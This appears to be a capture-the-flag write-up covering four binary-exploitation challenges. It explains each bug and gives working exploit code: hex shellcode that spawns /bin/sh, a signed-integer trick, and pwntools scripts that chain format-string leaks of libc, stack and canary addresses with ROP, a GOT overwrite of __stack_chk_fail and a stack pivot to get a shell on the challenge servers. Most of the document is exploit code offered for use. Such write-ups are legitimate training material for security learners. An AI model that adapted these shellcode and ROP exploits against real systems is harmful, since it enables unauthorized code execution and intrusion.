Presidential

Overall

#!/usr/local/bin/python import ctypes import mmap import sys import os print("This process has the PID", os.getpid()) flag = "redacted" print("White House declared Python to be memory safe :tm:") buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) ftype = ctypes.CFUNCTYPE(ctypes.c_void_p) fpointer = ctypes.c_void_p.from_buffer(buf) f = ftype(ctypes.addressof(fpointer)) u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): ")) buf.write(u_can_do_it) f() del fpointer buf.close() print("byebye")

Only give the shellcode in hex to get the shell

lea rdi, [rip + binsh] xor rax, rax mov al, 0x3b xor rsi, rsi xor rdx, rdx syscall binsh: .asciz "/bin/sh"

488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800

Exam

Overall

It is the problem about number of integer.

int __fastcall main(int argc, const char **argv, const char **envp) { FILE *stream; // [rsp+8h] [rbp-E8h] char v5[64]; // [rsp+10h] [rbp-E0h] BYREF char s[152]; // [rsp+50h] [rbp-A0h] BYREF unsigned __int64 v7; // [rsp+E8h] [rbp-8h] v7 = __readfsqword(0x28u); setbuf(stdout, 0LL); printf("How much should I not trust you? >:)\n: "); __isoc99_scanf("%d", &detrust); fgets(s, 150, stdin); if ( detrust >= 0 ) { trust_level -= detrust; if ( trust_level == threshold ) { puts("What kind of cheating are you doing?"); puts("You haven't even signed your statement yet!"); puts("You are BANNED from all future AP exams!!!"); } else { while ( trust_level < threshold ) { puts("\nI don't trust you enough >:)"); printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: "); fgets(s, 150, stdin); if ( !strcmp( s, "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any " "information about any section of this exam.\n") ) --trust_level; } stream = fopen("flag.txt", "r"); fgets(v5, 64, stream); puts("\nYou will now take the multiple-choice portion of the exam."); puts("You should have in front of you the multiple-choice booklet and your answer sheet. "); printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5); } } else { puts("Don't try to trick me into trusting you >:("); } return 0; }

image

  • trust_level = 0

image

  • threshold = 0x7ffffffe

The flow of the program

  • Check detrust >=0, if not exit()
  • Then trust_level -= detrust, it means: trust_level = -detrust
  • Call loop while(trust_level < threshold) if input string s match the string in the code above -> trust_level.
  • Finally, I get the flag

Bug

  • Number is signed.
  • So, i will input 0x7fffffff, so trust_level will: 0x80000001. After, it minus several times it will be 0x7fffffff
  • Thus, I get the flag.

Script

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./exam', checksec=False) if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *main+113 b *main+157 b *main+301 b *main+337 b *main+339 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31322) else: r = process(exe.path) r.sendafter(b': ', b'2147483647') r.sendline(b'Hello') try: while True: r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:') r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.') except Exception as e: pass r.interactive()

Bap

Overall

Basic format string + ROP

image

image

image

  • gets() =))))

Approach

Leak libc -> ovewrite return address to call main again -> ROP

image

  • So, I need to use index 29.

Script

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./bap', checksec=False) #libc = ELF('./libc.so.6', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *main+47 b *main+64 b *main+86 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31323) else: r = process(exe.path) payload = b'|%29$p' payload += b'a'*18 payload += p64(0x000000000040101a) #ret payload += p64(exe.sym['main']) r.sendlineafter(b': ', payload) r.recvuntil(b'|') __libc_start_call_main_128 = int(r.recvn(14), 16) log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128)) libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000 log.info("libc base: " + hex(libc.address)) system = libc.symbols['system'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of libc: " + hex(libc.address)) poprdi_ret = libc.address + 0x000000000002a3e5 win = b'a'*24 win += p64(0x000000000040101a) #ret win += p64(poprdi_ret) win += p64(binsh) win += p64(system) r.sendlineafter(b': ', win) r.interactive()

Og

Overall

image

image

The program allow me input one time. Then exit

Bug

image

unsigned __int64 go() { char s[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); printf("kill $PPID; Enter your name: "); fgets(s, 66, stdin); printf("Gotta go. See you around, "); printf(s); return v2 - __readfsqword(0x28u); }

fmtstr + bof

Approach

Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt

Although I can use bof, the program limits max one gadget.
Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell.

fmtstr: leak the canary, the libc and the stack.
bof: get the gadget.

Script

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./og', checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *go+126 b *go+146 b *go+163 b *go+190 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31312) else: r = process(exe.path) def info(s): return log.info(s) #leak canary, leak libc, call main again #offset_canary = 40 #%27$p|%13$p #canary + ret #input from %6$p """ pwndbg> disass 0x401070 Dump of assembler code for function __stack_chk_fail@plt: 0x0000000000401070 <+0>: endbr64 0x0000000000401074 <+4>: bnd jmp QWORD PTR [rip+0x2f9d] # 0x404018 <__stack_chk_fail@got.plt> 0x000000000040107b <+11>: nop DWORD PTR [rax+rax*1+0x0] pwndbg> x/gx 0x404018 0x404018 <__stack_chk_fail@got.plt>: 0x0000000000401030 """ payload_leak = b'|%33$p|%15$p||%46$p|%4451c' payload_leak += b'%10$hn' payload_leak += p64(0x404018) #overwritestackcheckfail.got payload_leak += b'a'*16 r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak) r.recvuntil(b'|') canary_leak = int(r.recvn(18), 16) r.recvuntil(b'|') __libc_start_call_main_128 = int(r.recvn(14), 16) r.recvuntil(b'||') buf_stack_leak = int(r.recvn(14), 16) - 328 libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000 pop_rdi_ret = libc.address + 0x000000000002a3e5 binsh = next(libc.search(b'/bin/sh\x00')) system = libc.symbols['system'] info("The address of buf leak: " + hex(buf_stack_leak)) info("Canary leak: " + hex(canary_leak)) info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128)) info("The address of libc: " + hex(libc.address)) info("pop_rdi_ret: " + hex(pop_rdi_ret)) info("binsh: " + hex(binsh)) info("system: " + hex(system)) payload = p64(pop_rdi_ret) payload += p64(binsh) payload += p64(system) payload += b'b'*16 payload += p64(canary_leak) payload += p64(buf_stack_leak - 0x40 - 0x8) payload += p64(0x0000000000401253) #leave ; ret r.sendlineafter(b'kill $PPID; Enter your name: ', payload) r.interactive()